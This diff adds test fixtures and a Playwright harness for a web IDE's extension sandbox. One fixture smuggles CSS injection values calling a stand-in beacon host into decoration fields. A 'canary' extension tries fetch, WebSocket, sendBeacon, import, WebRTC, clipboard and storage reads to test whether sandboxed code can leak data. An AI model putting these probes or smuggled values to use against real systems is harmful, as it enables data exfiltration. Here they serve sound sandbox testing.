138+ vscode.workspace.textDocuments.forEach(scan);
139+ context.subscriptions.push(vscode.workspace.onDidOpenTextDocument(scan), vscode.workspace.onDidChangeTextDocument(e => scan(e.document)));
140+ context.subscriptions.push(vscode.commands.registerCommand('x2diag.pageMarkers', () => {
141+ const ed = vscode.window.activeTextEditor;
142+ return JSON.stringify(ed ? vscode.languages.getDiagnostics(ed.document.uri).filter(d => d.source !== 'x2diag').map(d => d.message) : []);
143+ }));
144+};
145+`,
146+ },
147+};
148+
149+// Decoraciones con valores hostiles mezclados con buenos: la página se queda
150+// solo con los buenos (colores, márgenes) y pinta el texto «antes» como texto.
151+export const DECO = {
152+ manifest: base('deco', { activationEvents: ['onLanguage:javascript'] }),
153+ files: {
154+ 'extension.js': `const vscode = require('vscode');
155+exports.activate = function (context) {
156+ const t = vscode.window.createTextEditorDecorationType({
157+ backgroundColor: 'rgba(255, 0, 0, 0.25)', color: new vscode.ThemeColor('editorError.foreground'),
158+ border: '1px solid red; background-image: url(http://deco.beacon.test/border.png)',
159+ textDecoration: 'none; background: url(http://deco.beacon.test/td.png)',
160+ fontFamily: 'x; src: url(http://deco.beacon.test/font.woff)', cursor: 'url(http://deco.beacon.test/cur.png), pointer',
161+ gutterIconPath: vscode.Uri.parse('http://deco.beacon.test/gutter.png'), overviewRulerColor: 'red',
162+ before: { contentText: 'x2deco>', color: 'url(http://deco.beacon.test/c.png)', margin: '0 4px 0 0' },
163+ light: { backgroundColor: '#00ff0033' }, dark: { backgroundColor: '#0000ff33' },
164+ });
165+ const apply = ed => {
166+ if (!ed || ed.document.languageId !== 'javascript') return;
167+ const ranges = [];
168+ for (let i = 0; i < ed.document.lineCount; i++) {
169+ const j = ed.document.lineAt(i).text.indexOf('TODO');
170+ if (j >= 0) ranges.push({ range: new vscode.Range(i, j, i, j + 4), hoverMessage: new vscode.MarkdownString('x2 deco ![i](http://deco.beacon.test/hover.png)') });
171+ }
172+ ed.setDecorations(t, ranges);
173+ };
174+ apply(vscode.window.activeTextEditor);
175+ context.subscriptions.push(t, vscode.window.onDidChangeActiveTextEditor(apply),
176+ vscode.workspace.onDidChangeTextDocument(e => { const ed = vscode.window.activeTextEditor; if (ed && e.document === ed.document) apply(ed); }));
177+};
178+`,
179+ },
180+};
181+
182+// Pide cosas al usuario. Al arrancar lee el portapapeles (vacío). x2ui.clip
183+// escribe en él (la página solo lo hace con un gesto reciente del usuario).
184+// Con x2ui.ask: un aviso con botones (texto con HTML y un enlace, que deben
185+// quedar en texto), un aviso modal, un selector, uno de varios, y un cuadro de
186+// texto con validación. x2ui.progress: progreso en la barra de estado.
187+// x2ui.open(url): openExternal con un vscode.Uri. x2ui.note y x2ui.question:
188+// un aviso sin botones y uno con botones.
189+export const UI = {
190+ manifest: base('ui', { activationEvents: ['onStartupFinished'], contributes: { commands: [
191+ { command: 'x2ui.ask', title: 'UI ask', category: 'X2' },
192+ { command: 'x2ui.report', title: 'UI report', category: 'X2' },
193+ { command: 'x2ui.progress', title: 'UI progress', category: 'X2' },
194+ { command: 'x2ui.clip', title: 'UI clipboard', category: 'X2' },
195+ { command: 'x2ui.open', title: 'UI open address', category: 'X2' },
196+ { command: 'x2ui.note', title: 'UI note', category: 'X2' },
197+ { command: 'x2ui.question', title: 'UI question', category: 'X2' },
198+ ] } }),
199+ files: {
200+ 'extension.js': `const vscode = require('vscode');
201+const out = {};
202+let n = 0;
203+exports.activate = async function (context) {
204+ out.clipboardRead = await vscode.env.clipboard.readText();
205+ context.subscriptions.push(
206+ vscode.commands.registerCommand('x2ui.clip', async () => { n++; await vscode.env.clipboard.writeText('x2 clipboard ' + n); return n; }),
207+ vscode.commands.registerCommand('x2ui.ask', async () => {
208+ out.info = await vscode.window.showInformationMessage('x2 asks <b>bold</b> [link](https://toast.beacon.test/t)', 'Yes', 'No');
209+ out.modal = await vscode.window.showWarningMessage('x2 modal', { modal: true, detail: 'x2 detail' }, 'OK');
210+ out.pick = await vscode.window.showQuickPick(['a', 'b', 'c'], { placeHolder: 'x2 pick' });
211+ const many = await vscode.window.showQuickPick([{ label: 'one' }, { label: 'two', picked: true }, { label: 'three' }], { canPickMany: true });
212+ out.many = many ? many.map(x => x.label) : many;
213+ out.input = await vscode.window.showInputBox({ prompt: 'x2 input', validateInput: v => (v === 'bad' ? 'x2 not that' : null) });
214+ return JSON.stringify(out);
215+ }),
216+ vscode.commands.registerCommand('x2ui.report', () => JSON.stringify(out)),
217+ // abrir una dirección como lo hacen las extensiones: con un vscode.Uri
218+ vscode.commands.registerCommand('x2ui.open', async url => String(await vscode.env.openExternal(vscode.Uri.parse(String(url))))),
219+ // un aviso sin botones (se va solo) y uno con botones (espera la respuesta)
220+ vscode.commands.registerCommand('x2ui.note', async () => { await vscode.window.showInformationMessage('x2 note'); return 'closed'; }),
221+ vscode.commands.registerCommand('x2ui.question', async () => String(await vscode.window.showWarningMessage('x2 question', 'Keep', 'Drop'))),
222+ vscode.commands.registerCommand('x2ui.progress', () => vscode.window.withProgress({ location: vscode.ProgressLocation.Notification, title: 'x2 working' }, async p => {
223+ p.report({ message: 'half' });
224+ await new Promise(r => setTimeout(r, 1500));
225+ return 'done';
226+ })),
227+ );
228+};
229+`,
230+ },
231+};
232+
233+// Pide cosas que el cortafuegos de RPC del recinto rechaza: una webview y
234+// guardar todo. La extensión recibe el error; la página cuenta el rechazo.
235+export const DENY = {
236+ manifest: base('deny', { activationEvents: [], contributes: { commands: [{ command: 'x2deny.report', title: 'Deny report', category: 'X2' }] } }),
237+ files: {
238+ 'extension.js': `const vscode = require('vscode');
239+exports.activate = c => c.subscriptions.push(vscode.commands.registerCommand('x2deny.report', async () => {
240+ const out = {};
241+ try { const p = vscode.window.createWebviewPanel('x2', 'x2', vscode.ViewColumn.One, {}); out.webview = 'returned'; p.dispose(); } catch (e) { out.webview = 'threw: ' + (e && e.message); }
242+ try { out.saveAll = await vscode.workspace.saveAll(); } catch (e) { out.saveAll = 'threw: ' + (e && e.message); }
243+ return JSON.stringify(out);
244+}));
245+`,
246+ },
247+};
248+
249+export const NOOP = {
250+ manifest: base('noop', { contributes: { commands: [{ command: 'x2noop.hello', title: 'Hello (fixture)', category: 'X2' }] } }),
251+ files: { 'extension.js': `const vscode = require('vscode');\nexports.activate = c => c.subscriptions.push(vscode.commands.registerCommand('x2noop.hello', () => 'hello'));\n` },
252+};
253+
254+export const OBSERVER = {
255+ manifest: base('observer', { activationEvents: ['*'] }),
256+ files: {
257+ 'extension.js': `const vscode = require('vscode');
258+exports.activate = function (context) {
259+ const all = [{ scheme: 'file' }, { scheme: 'untitled' }];
260+ context.subscriptions.push(
261+ vscode.languages.registerHoverProvider(all, { provideHover() { return null; } }),
262+ vscode.languages.registerCompletionItemProvider(all, { provideCompletionItems() { return []; } }),
263+ vscode.languages.registerDocumentSymbolProvider(all, { provideDocumentSymbols() { return []; } }),
264+ );
265+};
266+`,
267+ },
268+};
269+
270+// Canario básico (el completo, con el fuzzer de campos y el simulacro, es de
271+// la parte B2): desde el worker del host de extensiones intenta cada canal de
272+// red y de almacenamiento, con nombres *.test únicos, y deja el resultado en
273+// el comando x2canary.report.
274+export const CANARY = {
275+ manifest: base('canary', { activationEvents: ['*'], contributes: { commands: [{ command: 'x2canary.report', title: 'Canary report', category: 'X2' }] } }),
276+ files: {
277+ 'extension.js': `const vscode = require('vscode');
278+const results = [];
279+const tryIt = async (channel, fn) => {
280+ try { const r = await fn(); results.push({ channel, outcome: 'ALLOWED', detail: String(r).slice(0, 200) }); }
281+ catch (e) { results.push({ channel, outcome: 'blocked', detail: String(e && (e.message || e)).slice(0, 200) }); }
282+};
283+const B = n => 'http://' + n + '.beacon.test:' + (self.__beaconPort || 80) + '/x2-canary/' + n;
284+async function run(port) {
285+ self.__beaconPort = port;
286+ await tryIt('fetch', () => fetch(B('fetch'), { mode: 'no-cors' }).then(r => r.type));
287+ await tryIt('fetch-loopback', () => fetch('http://127.0.0.1:' + port + '/x2-canary/loopback', { mode: 'no-cors' }).then(r => r.type));
288+ await tryIt('xhr', () => new Promise((res, rej) => { const x = new XMLHttpRequest(); x.open('GET', B('xhr')); x.onload = () => res(x.status); x.onerror = () => rej(new Error('xhr error')); x.send(); }));
289+ await tryIt('sendBeacon', () => { if (!self.navigator.sendBeacon) throw new Error('no sendBeacon'); return self.navigator.sendBeacon(B('beacon'), 'x'); });
290+ await tryIt('websocket', () => new Promise((res, rej) => { const w = new WebSocket(B('ws').replace('http', 'ws')); w.onopen = () => res('open'); w.onerror = () => rej(new Error('ws error')); setTimeout(() => rej(new Error('ws timeout')), 3000); }));
291+ await tryIt('eventsource', () => new Promise((res, rej) => { if (!self.EventSource) return rej(new Error('no EventSource')); const s = new EventSource(B('sse')); s.onopen = () => res('open'); s.onerror = () => { s.close(); rej(new Error('sse error')); }; }));
292+ await tryIt('import', () => import(B('import')));
293+ await tryIt('importScripts', () => importScripts(B('importscripts')));
294+ await tryIt('worker', () => new Promise((res, rej) => { try { const w = new Worker(B('worker')); w.onerror = () => rej(new Error('worker error')); setTimeout(() => res('created'), 1000); } catch (e) { rej(e); } }));
295+ await tryIt('open-vsx', () => fetch('https://open-vsx.org/api/-/search?query=x2-canary', { mode: 'no-cors' }).then(r => r.type));
296+ await tryIt('webrtc', () => { if (typeof RTCPeerConnection === 'undefined') throw new Error('no RTCPeerConnection'); return new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.beacon.test:3478' }] }); });
297+ await tryIt('indexedDB', () => (indexedDB.databases ? indexedDB.databases() : Promise.resolve([])).then(d => { const names = d.map(x => x.name); if (names.some(n => /elffuss/.test(n))) throw new Error('SAW CODE STORAGE: ' + names.join(',')); return 'own: ' + names.join(','); }));
298+ await tryIt('opfs', async () => { const root = await navigator.storage.getDirectory(); const names = []; for await (const k of root.keys()) names.push(k); if (names.some(n => /canary|app\\.js/.test(n))) throw new Error('SAW CODE OPFS: ' + names.join(',')); return 'own: ' + names.join(','); });
299+ await tryIt('caches', async () => { if (!self.caches) return 'no caches'; const k = await caches.keys(); return 'own: ' + k.join(','); });
300+ await tryIt('clipboard', async () => { if (!navigator.clipboard) throw new Error('no clipboard'); return navigator.clipboard.readText(); });
301+ await tryIt('openExternal', () => vscode.env.openExternal(vscode.Uri.parse(B('open'))).then(ok => { if (ok) throw new Error('opened'); return 'refused'; }));
302+ await tryIt('asExternalUri', () => vscode.env.asExternalUri(vscode.Uri.parse(B('asexternal'))).then(u => u.toString()));
303+ await tryIt('clipboard-api', () => vscode.env.clipboard.readText().then(t => 'read ' + t.length + ' chars'));
304+ return results;
305+}
306+exports.activate = function (context) {
307+ context.subscriptions.push(vscode.commands.registerCommand('x2canary.report', async port => {
308+ results.length = 0;
309+ await run(Number(port) || 80);
310+ return JSON.stringify(results);
311+ }));
312+};
313+`,
314+ },
315+};
316+
317+export const ALL = { SORT, FMT, HOVER, SYM, DIAG, DECO, UI, DENY, NOOP, OBSERVER, CANARY };
318+
319+// Registro tal como lo guarda store.js (nivel 2): `runs` encendido y el
320+// código bajo id@versión/code/<ruta>. Se usa dentro de la página:
321+// await seed(page, [SORT, FMT])
322+export function recordFor(fx, { runs = true, enabled = true } = {}) {
323+ const id = `${fx.manifest.publisher}.${fx.manifest.name}`.toLowerCase();
324+ const files = { ...fx.files, 'package.json': JSON.stringify(fx.manifest, null, 2) };
325+ const bytes = Object.values(files).reduce((n, t) => n + Buffer.byteLength(t), 0);
326+ return {
327+ rec: {
328+ id, publisher: fx.manifest.publisher, name: fx.manifest.name, version: fx.manifest.version,
329+ displayName: fx.manifest.displayName, description: '', license: 'MIT', sha256: '0'.repeat(64), verified: false,
330+ source: 'test', size: bytes, installedAt: Date.now(), enabled, runs,
331+ hasCode: true, ignored: [], pack: [], warnings: [], themes: [], grammars: [], snippets: [], languages: [], licenseKey: null,
332+ code: { entry: fx.manifest.browser, files: Object.keys(files), bytes, manifest: fx.manifest },
333+ },
334+ files,
335+ };
336+}
337+
338+// Mete las extensiones en IndexedDB y en kv «extensions» desde la página
339+// (el mismo store.js de Code), como si se hubieran instalado.
340+export async function seed(page, fixtures, opts = {}) {
341+ const recs = fixtures.map(f => recordFor(f, opts));
342+ await page.evaluate(async recs => {
343+ const store = await import('/js/ext/store.js');
344+ for (const { rec, files } of recs) {
345+ const m = new Map();
346+ for (const [p, text] of Object.entries(files)) m.set(store.codeKey(rec.id, rec.version, p), new TextEncoder().encode(text).buffer);
347+ await store.put(rec, m);
348+ }
349+ }, recs);
350+ return recs.map(r => r.rec.id);
351+}
added tests/lib/x2-mode.mjs +284 −0
@@ -0,0 +1,284 @@
1+// Extension mode for Code's own suites, unchanged:
2+//
3+// BASE=http://127.0.0.1:<port> node --import ./lib/x2-mode.mjs codeedit.mjs
4+//
5+// (tests/run-modes.sh runs every suite this way and without it.)
6+//
7+// A Node preload that patches Playwright's chromium.launch and
8+// launchPersistentContext. Before a page of the suite first goes to a Code
9+// origin (http://127.0.0.1:<port>, the only host that has a sandbox in
10+// development), that page visits <origin>/manifest.json?x2seed and installs two
11+// synthetic code extensions there with Code's own store.js, then carries on to
12+// where the suite was going:
13+// noop one command (so the palette and F1 carry an extension command)
14+// observer hover, completion and symbol providers for every file, always
15+// empty, never a formatter (so every feature the suite uses goes
16+// through the sandbox and back)
17+// Both have their code on, so whenever the suite opens the IDE, host.js starts
18+// the sandbox and they run in it while the suite works.
19+//
20+// The seeding runs in that small document of Code's own origin (a JSON file
21+// that is always there, so no 404 shows up in the console of suites that count
22+// console errors). Nothing is added to web/, and no request is routed (a
23+// Playwright route would turn off the HTTP cache for the whole context and make
24+// this mode differ from the default one in a way users never see).
25+//
26+// Checks, printed with ✅/❌ so run-modes.sh counts them, for each browser when
27+// the suite closes it:
28+// · premise: the seed installed both extensions with their code on;
29+// · every page that opened the IDE got the sandbox running (before the suite
30+// navigates away, reloads or closes it, this waits for that, so the check
31+// never passes because nobody looked); pages opened with ?noext or ?noext2,
32+// where the user turned code off, must NOT have loaded the bridge at all;
33+// · no level 2 errors: the bridge never in "error", no [x2] warnings, no page
34+// error from js/ext2/;
35+// · nothing requested from the sandbox site but its two documents.
36+// A failed check makes the suite exit 1 whatever it said itself. When no page
37+// opened the IDE at all, the suite says "x2-mode: not exercised" and
38+// run-modes.sh shows that instead of a plain PASS.
39+//
40+// X2_SEEDED (set here) names the two seeded extensions, for the one suite
41+// that counts installed extensions itself (extensions.mjs).
42+
43+import { createRequire } from 'node:module';
44+import { chromium } from 'playwright';
45+import { NOOP, OBSERVER, recordFor } from './x2-fixtures.mjs';
46+
47+const CODE_ORIGIN = /^http:\/\/127\.0\.0\.1:\d+$/;
48+const SEED_PATH = '/manifest.json?x2seed';
49+const SANDBOX_DOCS = new Set(['/x2/v1/sandbox.html', '/x2/v1/exthost-iframe.html']);
50+const WAIT_RUNNING = 90000;
51+const SEEDED = [NOOP, OBSERVER].map(f => recordFor(f));
52+const SEEDED_IDS = SEEDED.map(r => r.rec.id);
53+// para la suite del nivel 1, que cuenta y desinstala solo las suyas
54+process.env.X2_SEEDED = SEEDED_IDS.join(',');
55+
56+let failed = 0;
57+const say = (good, text) => { console.log((good ? '✅' : '❌') + ' x2-mode: ' + text); if (!good) failed++; };
58+const note = text => console.log(' x2-mode: ' + text);
59+const sleep = ms => new Promise(r => setTimeout(r, ms));
60+
61+// En cada documento de Code (marco principal): avisa cuando el IDE abre
62+// (el editor de Monaco dentro de #editor) y, en cuanto la página carga
63+// js/ext2/bridge.js (lo hace host.js), el estado del puente. Importar ese
64+// mismo módulo da la misma instancia: no carga nada que la página no cargara.
65+const INIT = `(() => {
66+ if (window.top !== window || !${CODE_ORIGIN}.test(location.origin) || location.pathname + location.search === ${JSON.stringify(SEED_PATH)}) return;
67+ const doc = Math.random().toString(36).slice(2) + Date.now().toString(36);
68+ const tell = d => console.debug('[x2mode]' + JSON.stringify(Object.assign({ doc, at: location.pathname + location.search }, d)));
69+ tell({ open: true });
70+ let ide = false, hooked = false;
71+ const look = () => { if (!ide && document.querySelector('#editor .monaco-editor')) { ide = true; tell({ ide: true }); } };
72+ new MutationObserver(look).observe(document, { childList: true, subtree: true });
73+ const hook = () => {
74+ if (hooked) return;
75+ hooked = true;
76+ tell({ bridge: true });
77+ import('/js/ext2/bridge.js').then(m => {
78+ let last = '';
79+ const send = () => {
80+ const s = m.state();
81+ const error = s.error ? String(s.error.message || s.error).slice(0, 300) : null;
82+ const k = s.state + '|' + error + '|' + (s.violations || 0);
83+ if (k !== last) { last = k; tell({ state: s.state, error, violations: s.violations || 0 }); }
84+ };
85+ m.onChange(send);
86+ send();
87+ setInterval(send, 400);
88+ }, e => tell({ hookError: String(e && e.message || e) }));
89+ };
90+ try {
91+ new PerformanceObserver(l => { for (const e of l.getEntries()) if (e.name.includes('/js/ext2/bridge.js')) hook(); })
92+ .observe({ type: 'resource', buffered: true });
93+ } catch (e) { tell({ hookError: 'no PerformanceObserver' }); }
94+})();`;
95+
96+const browsers = []; // { id, contexts: [] }
97+let anyBrowser = false;
98+let ideSeen = 0; // páginas que abrieron el IDE (con el código encendido)
99+
100+async function track(browserRec, ctx) {
101+ const st = {
102+ seeded: new Map(), // origin → ids seeded with code on
103+ docs: new Map(), // doc → { page, at, ide, states: [], error }
104+ current: new WeakMap(), // page → doc
105+ sandboxBad: [], sandboxOk: 0,
106+ x2errors: [],
107+ ports: new Set(),
108+ };
109+ browserRec.contexts.push(st);
110+ await ctx.addInitScript({ content: INIT });
111+ ctx.on('console', msg => {
112+ const text = msg.text();
113+ if (text.startsWith('[x2mode]')) {
114+ let d;
115+ try { d = JSON.parse(text.slice(8)); } catch { return; }
116+ const page = msg.page();
117+ let rec = st.docs.get(d.doc);
118+ if (!rec) { rec = { page, at: d.at, ide: false, ideAt: 0, bridge: false, states: [], error: null, hookError: null }; st.docs.set(d.doc, rec); }
119+ if (page) st.current.set(page, d.doc);
120+ if (d.ide) { rec.ide = true; rec.ideAt = Date.now(); }
121+ if (d.bridge) rec.bridge = true;
122+ if (d.state) rec.states.push(d.state);
123+ if (d.error) rec.error = d.error;
124+ if (d.violations) rec.violations = d.violations;
125+ if (d.hookError) rec.hookError = d.hookError;
126+ return;
127+ }
128+ if (/\[x2\]/.test(text) && (msg.type() === 'warning' || msg.type() === 'error')) st.x2errors.push(text.slice(0, 300));
129+ });
130+ ctx.on('weberror', e => {
131+ const err = e.error();
132+ const stack = String(err?.stack || '');
133+ if (/\/js\/ext2\//.test(stack)) st.x2errors.push('page error: ' + String(err?.message || err).slice(0, 200));
134+ });
135+ ctx.on('request', r => {
136+ let u;
137+ try { u = new URL(r.url()); } catch { return; }
138+ if (u.hostname !== 'localhost' || !st.ports.has(u.port)) return;
139+ if (SANDBOX_DOCS.has(u.pathname)) st.sandboxOk++;
140+ else st.sandboxBad.push(u.pathname + u.search);
141+ });
142+ ctx.on('page', p => wrapPage(p, st));
143+ for (const p of ctx.pages()) wrapPage(p, st);
144+ const origNewPage = ctx.newPage.bind(ctx);
145+ ctx.newPage = async (...a) => { const p = await origNewPage(...a); wrapPage(p, st); return p; };
146+ const origClose = ctx.close.bind(ctx);
147+ ctx.close = async (...a) => { await Promise.all(ctx.pages().map(p => settle(p, st))); return origClose(...a); };
148+ return st;
149+}
150+
151+async function seed(page, origin, st, goto) {
152+ st.seeded.set(origin, []);
153+ st.ports.add(new URL(origin).port);
154+ await goto(origin + SEED_PATH, { waitUntil: 'domcontentloaded' });
155+ const ids = await page.evaluate(async recs => {
156+ const store = await import('/js/ext/store.js');
157+ for (const { rec, files } of recs) {
158+ const m = new Map();
159+ for (const [p, t] of Object.entries(files)) m.set(store.codeKey(rec.id, rec.version, p), new TextEncoder().encode(t).buffer);
160+ await store.put(rec, m);
161+ }
162+ return (await store.list()).filter(r => r.enabled && r.runs).map(r => r.id);
163+ }, SEEDED).catch(e => { st.x2errors.push('seed: ' + String(e?.message || e).slice(0, 200)); return []; });
164+ st.seeded.set(origin, ids);
165+}
166+
167+// Antes de que la prueba se vaya de un documento que abrió el IDE: que el
168+// recinto haya llegado a algo (en marcha o error), o se acaba el tiempo. Si la
169+// página ni siquiera cargó el puente al poco de abrir el IDE, no se espera más
170+// (el informe lo dirá: «never started»).
171+async function settle(page, st) {
172+ const doc = st.current.get(page);
173+ const rec = doc && st.docs.get(doc);
174+ if (!rec || !rec.ide || page.isClosed() || /[?&]noext2?(?:[=&]|$)/.test(rec.at)) return;
175+ const end = Date.now() + WAIT_RUNNING;
176+ const done = () => rec.states.some(s => s === 'running' || s === 'error');
177+ while (Date.now() < end && !page.isClosed() && !done() && (rec.bridge || Date.now() - rec.ideAt < 15000)) await sleep(150);
178+}
179+
180+const wrapped = new WeakSet();
181+function wrapPage(page, st) {
182+ if (wrapped.has(page)) return;
183+ wrapped.add(page);
184+ const goto = page.goto.bind(page);
185+ page.goto = async (url, opts) => {
186+ await settle(page, st);
187+ let origin = null;
188+ try { origin = new URL(url).origin; } catch { /* about:blank, data: … */ }
189+ if (origin && CODE_ORIGIN.test(origin) && !st.seeded.has(origin)) await seed(page, origin, st, goto);
190+ return goto(url, opts);
191+ };
192+ const reload = page.reload.bind(page);
193+ page.reload = async (...a) => { await settle(page, st); return reload(...a); };
194+ const close = page.close.bind(page);
195+ page.close = async (...a) => { await settle(page, st); return close(...a); };
196+}
197+
198+function report(browserRec) {
199+ for (const st of browserRec.contexts) {
200+ for (const [origin, ids] of st.seeded) {
201+ const missing = SEEDED_IDS.filter(id => !ids.includes(id));
202+ say(!missing.length, missing.length ? `the seed did not install ${missing.join(', ')} on ${origin}` : `${ids.length} code extensions installed and on (${SEEDED_IDS.join(', ')})`);
203+ }
204+ // con ?noext o ?noext2 el usuario apagó el código a propósito: ahí el
205+ // recinto NO debe arrancar, y eso también se comprueba
206+ const off = d => /[?&]noext2?(?:[=&]|$)/.test(d.at);
207+ const switched = [...st.docs.values()].filter(d => d.ide && off(d));
208+ if (switched.length) {
209+ const ran = switched.filter(d => d.bridge || d.states.length);
210+ say(!ran.length, `with ?noext or ?noext2 the sandbox stayed off (${switched.length} pages)` + (ran.length ? ' — it ran in: ' + ran.map(d => d.at).join(', ') : ''));
211+ }
212+ const ide = [...st.docs.values()].filter(d => d.ide && !off(d));
213+ ideSeen += ide.length;
214+ if (!st.seeded.size && !ide.length) { note('this context never opened Code'); continue; }
215+ if (!ide.length) { note('no page opened the IDE in this context'); }
216+ else {
217+ const notRunning = ide.filter(d => !d.states.includes('running'));
218+ say(!notRunning.length, `the sandbox was running in every page that opened the IDE (${ide.length - notRunning.length} of ${ide.length})`
219+ + (notRunning.length ? ' — not in: ' + notRunning.map(d => `${d.at} [${d.states.join('>') || 'never started'}${d.error ? ': ' + d.error : ''}${d.hookError ? '; ' + d.hookError : ''}]`).slice(0, 4).join(', ') : ''));
220+ }
221+ const broken = [...st.docs.values()].filter(d => d.states.includes('error') || d.violations);
222+ const errs = [...st.x2errors, ...broken.map(d => `${d.at}: bridge ${d.states.join('>')}${d.error ? ' (' + d.error + ')' : ''}${d.violations ? ', ' + d.violations + ' violations' : ''}`)];
223+ say(!errs.length, 'no level 2 errors' + (errs.length ? ' — ' + errs.slice(0, 4).join(' | ') : ''));
224+ say(!st.sandboxBad.length, `from the sandbox site, only its two documents (${st.sandboxOk} requests)` + (st.sandboxBad.length ? ' — also: ' + st.sandboxBad.slice(0, 4).join(' ') : ''));
225+ }
226+}
227+
228+function wrapBrowser(browser) {
229+ anyBrowser = true;
230+ const rec = { contexts: [], reported: false };
231+ browsers.push(rec);
232+ const origNewContext = browser.newContext.bind(browser);
233+ browser.newContext = async (...a) => { const ctx = await origNewContext(...a); await track(rec, ctx); return ctx; };
234+ const origClose = browser.close.bind(browser);
235+ browser.close = async (...a) => {
236+ if (!rec.reported) {
237+ await Promise.all(browser.contexts().flatMap(c => c.pages()).map(p => {
238+ const st = rec.contexts.find(s => s.current.has(p));
239+ return st ? settle(p, st) : null;
240+ }));
241+ rec.reported = true;
242+ report(rec);
243+ }
244+ return origClose(...a);
245+ };
246+ return browser;
247+}
248+
249+// El `chromium` de `import 'playwright'` y el de require('playwright') (las
250+// baterías lo cargan así) son objetos distintos: se parchean los dos.
251+function patch(bt) {
252+ if (!bt || bt.__x2mode) return;
253+ bt.__x2mode = true;
254+ const origLaunch = bt.launch.bind(bt);
255+ bt.launch = async (...a) => wrapBrowser(await origLaunch(...a));
256+ const origPersistent = bt.launchPersistentContext.bind(bt);
257+ bt.launchPersistentContext = async (...a) => {
258+ const ctx = await origPersistent(...a);
259+ anyBrowser = true;
260+ const rec = { contexts: [], reported: false };
261+ browsers.push(rec);
262+ const st = await track(rec, ctx);
263+ const origClose = ctx.close; // ya envuelto por track (settle)
264+ ctx.close = async (...b) => { if (!rec.reported) { await Promise.all(ctx.pages().map(p => settle(p, st))); rec.reported = true; report(rec); } return origClose(...b); };
265+ return ctx;
266+ };
267+}
268+patch(chromium);
269+patch(createRequire(import.meta.url)('playwright').chromium);
270+
271+// Si la prueba sale sin cerrar el navegador: lo que se sepa, sin esperar.
272+const origExit = process.exit.bind(process);
273+let finished = false;
274+function finish() {
275+ if (finished) return;
276+ finished = true;
277+ for (const rec of browsers) if (!rec.reported) { rec.reported = true; report(rec); }
278+ if (!anyBrowser) note('no browser in this suite');
279+ // Sin ninguna página que abriera el IDE, el recinto nunca corrió: la suite
280+ // pasó, pero el modo extensiones no la ha probado. run-modes.sh lo enseña así.
281+ if (!ideSeen) console.log(' x2-mode: not exercised: no page opened the IDE, so the sandbox never ran in this suite');
282+}
283+process.exit = code => { finish(); return origExit(failed ? 1 : code); };
284+process.on('exit', code => { finish(); if (failed && !code) process.exitCode = 1; });
added tests/lib/x2-server.mjs +150 −0
@@ -0,0 +1,150 @@
1+// Test server for level 2: ONE loopback server, routed by the Host header.
2+//
3+// 127.0.0.1:<port> Code: web/ with server/serve.py's semantics (static files
4+// with no-store, /v1 forwarding, /proxy), plus the vendor
5+// bundle under /vendor/x2/ with its production headers
6+// localhost:<port> the sandbox site: only its two documents, with the
7+// headers from sandbox/x2/headers.json and only for the
8+// exact query shape; 404 for anything else, no log
9+//
10+// The two hosts are different sites, as Code and the sandbox are in
11+// production. Test-only switches, as positive controls:
12+// insecure: 'exthost' (X2_INSECURE=1 or =exthost) serves the extension-host
13+// document without its CSP, so extension code CAN reach the network: the
14+// canary must then hit the beacon; 'all' (X2_INSECURE=all) drops the CSP of
15+// both documents, and the sandbox's own self-test must refuse to start;
16+// tamper (X2_TAMPER=1) flips one byte in the middle of sandbox-main.js.gz.
17+//
18+// node tests/lib/x2-server.mjs [--port N] serve until killed
19+// import { startServer } from './lib/x2-server.mjs'
20+import http from 'node:http';
21+import fs from 'node:fs';
22+import path from 'node:path';
23+import { fileURLToPath } from 'node:url';
24+import { headersFor, queryAllowed, originsFor, loadSpec, DOCS_DIR } from '../../sandbox/x2/headers.mjs';
25+
26+const HERE = path.dirname(fileURLToPath(import.meta.url));
27+const REPO = path.resolve(HERE, '../..');
28+const MAX_PROXY_BYTES = 2_000_000;
29+const LM_UPSTREAM = process.env.ELFFUSS_LM || 'https://elffuss.com';
30+
31+const TYPES = {
32+ '.html': 'text/html; charset=utf-8', '.js': 'text/javascript; charset=utf-8', '.mjs': 'text/javascript; charset=utf-8',
33+ '.css': 'text/css; charset=utf-8', '.json': 'application/json', '.svg': 'image/svg+xml', '.png': 'image/png',
34+ '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.gif': 'image/gif', '.webp': 'image/webp', '.ico': 'image/x-icon',
35+ '.wasm': 'application/wasm', '.txt': 'text/plain; charset=utf-8', '.md': 'text/markdown; charset=utf-8',
36+ '.woff2': 'font/woff2', '.woff': 'font/woff', '.ttf': 'font/ttf', '.mp4': 'video/mp4', '.webm': 'video/webm',
37+ '.webmanifest': 'application/manifest+json', '.map': 'application/json', '.gz': 'application/octet-stream',
38+};
39+
40+function safeJoin(root, urlPath) {
41+ let p;
42+ try { p = decodeURIComponent(urlPath); } catch { return null; }
43+ const full = path.resolve(root, '.' + path.posix.normalize('/' + p));
44+ return full === root || full.startsWith(root + path.sep) ? full : null;
45+}
46+
47+const envInsecure = () => { const v = process.env.X2_INSECURE; return v === 'all' ? 'all' : v === '1' || v === 'exthost' ? 'exthost' : false; };
48+
49+// codeAliases: other host names that also get Code (with the browser told to
50+// resolve them to 127.0.0.1), to see Code on a host config.js gives no sandbox.
51+export async function startServer({ port = 0, webRoot = path.join(REPO, 'web'), insecure = envInsecure(), tamper = process.env.X2_TAMPER === '1', quiet = true, codeAliases = [] } = {}) {
52+ const requests = []; // { host, method, url }
53+ let codeHost = null, sandboxHost = null, origins = null;
54+
55+ function sendFile(res, file, extraHeaders = {}) {
56+ let st;
57+ try { st = fs.statSync(file); } catch { return notFound(res); }
58+ if (st.isDirectory()) return sendFile(res, path.join(file, 'index.html'), extraHeaders);
59+ let body = fs.readFileSync(file);
60+ if (tamper && file.includes(path.sep + 'vendor' + path.sep + 'x2' + path.sep) && path.basename(file) === 'sandbox-main.js.gz') {
61+ body = Buffer.from(body);
62+ body[body.length >> 1] ^= 0xff;
63+ }
64+ res.writeHead(200, { 'Content-Type': TYPES[path.extname(file).toLowerCase()] || 'application/octet-stream', 'Content-Length': body.length, ...extraHeaders });
65+ res.end(body);
66+ }
67+ const notFound = res => { res.writeHead(404, { 'Content-Type': 'text/plain', 'Cache-Control': 'no-store' }); res.end('not found'); };
68+
69+ async function proxy(req, res, u) {
70+ const target = u.searchParams.get('url');
71+ if (!target || !/^https?:\/\//.test(target)) { res.writeHead(400); return res.end('url invalida'); }
72+ try {
73+ const r = await fetch(target, { headers: { 'User-Agent': 'Mozilla/5.0 (Elffuss Code)' }, signal: AbortSignal.timeout(20000) });
